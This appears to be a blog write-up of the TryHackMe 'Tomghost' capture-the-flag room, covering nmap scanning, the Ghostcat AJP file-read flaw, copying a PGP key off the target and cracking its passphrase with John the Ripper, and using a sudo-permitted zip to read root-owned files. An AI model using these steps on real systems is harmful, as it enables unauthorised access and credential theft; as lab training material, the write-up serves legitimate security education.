TryHackMe: Tomghost Writeup

08 Nov, 2021

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Tomghost is a TryHackMe CTF room created by the user stuxnet. It involves exploiting the Ghostcat Local File Inclusion (LFI) vulnerability, cracking a PGP protected file, and an interesting privilege escalation technique.

Enumeration

To begin, scan the target IP address with nmap to determine open ports and services:

$ nmap -sV <machine IP>
...
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
8080/tcp open  http       Apache Tomcat 9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see the following services running:

Port 22: SSH for secure remote login
Port 8009: Apache Jserv allows Apache to talk to Tomcat (more on this later)
Port 8080: Apache Tomcat for running enterprise Java applications.

Apache Jserv

I was not familiar with Apache Jserv, so I Googled it. Essentially, it is a service that allows Apache to host static content like usual, and then proxies Tomcat related content to the Tomcat service.

The service is running on the expected port 8009, however it is not normally open to the world.

Ghostcat

After some more Googling, I found an excellent post on pen testing the Apache Jserv protocol from hacktricks.xyz.

Since port 8009 is expose, the server is susceptible to a restricted LFI vulnerability called “Ghostcat”. We can read files like WEB-INF/web.xml which can leak important information like credentials for the Tomcat interface, depending on the server setup

Here is a Python implementation of the exploit.

Run it to leak the credentials to the SSH server.

$ python ghostcat.py <machine IP>

Initial Access

Use the leaked credentials to log into the SSH server. From there, the user.txt flag can be found at /home/merlin/user.txt:

skyfuck@ubuntu:~$ cat /home/merlin/user.txt
REDACTED-FLAG

Perform a directory listing on the skyfuck user’s home directory:

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

credential.pgp likely contains credentials for an admin user, but it is encoded with PGP and cannot be read yet.

tryhackme.asc is a private PGP private key that can be used to decrypt the credential.pgp file!

To start, let’s load in the private key to memory:

skyfuck@ubuntu:~$ gpg --import tryhackme.asc

And now decrypt the credential file:

skyfuck@ubuntu:~$ gpg --decrypt credential.pgp 

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
Enter passphrase:

Darn! The file is passphrase protected! Time to crack it.

Cracking PGP

There are probably several ways to do this, but the most immediate idea I had was to download the file to my local Kali box and use John The Ripper (JTR).

On the target, start a Python web server

skyfuck@ubuntu:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...

On the local machine, download the tryhackme.asc file

$ wget http://<machine IP>:8000/tryhackme.asc

Translate the .asc file into a format that JTR can understand

$ pgp2john tryhackme.asc > forjohn

Crack that passphrase!

$ john forjohn --wordlist=/usr/share/wordlists/rockyou.txt

Back on the target, use the cracked passphrase to access the credential.pgp file.

skyfuck@ubuntu:~$ gpg --decrypt credential.pgp --output credential.txt
skyfuck@ubuntu:~$ cat credential.txt
merlin:REDACTE-PASSWORD

Nice! We have the password for the merlin user!

Privilege Escalation

Switch to the other user and see what privileges they have on the system.

skyfuck@ubuntu:~$ su merlin
Password: 
                                                                              
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:                                                                                                                       
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

Interesting, we can run /usr/bin/zip with no password as the root user.

Make a zip file and extract it to read the root.txt flag file.

merlin@ubuntu:~$ sudo /usr/bin/zip ./flag.zip /root/root.txt
 adding: root/root.txt (stored 0%)

merlin@ubuntu:~$ unzip flag.zip
Archive:  flag.zip  
 extracting: root/root.txt

merlin@ubuntu:~$ cat root/root.txt
REDACTED-FLAG

Lessons Learned

Apache Jserv on port 8009 should not be publicly accessible! DiabloHorn has a good post on this
Credentials should never be hardcoded into a website’s source code!

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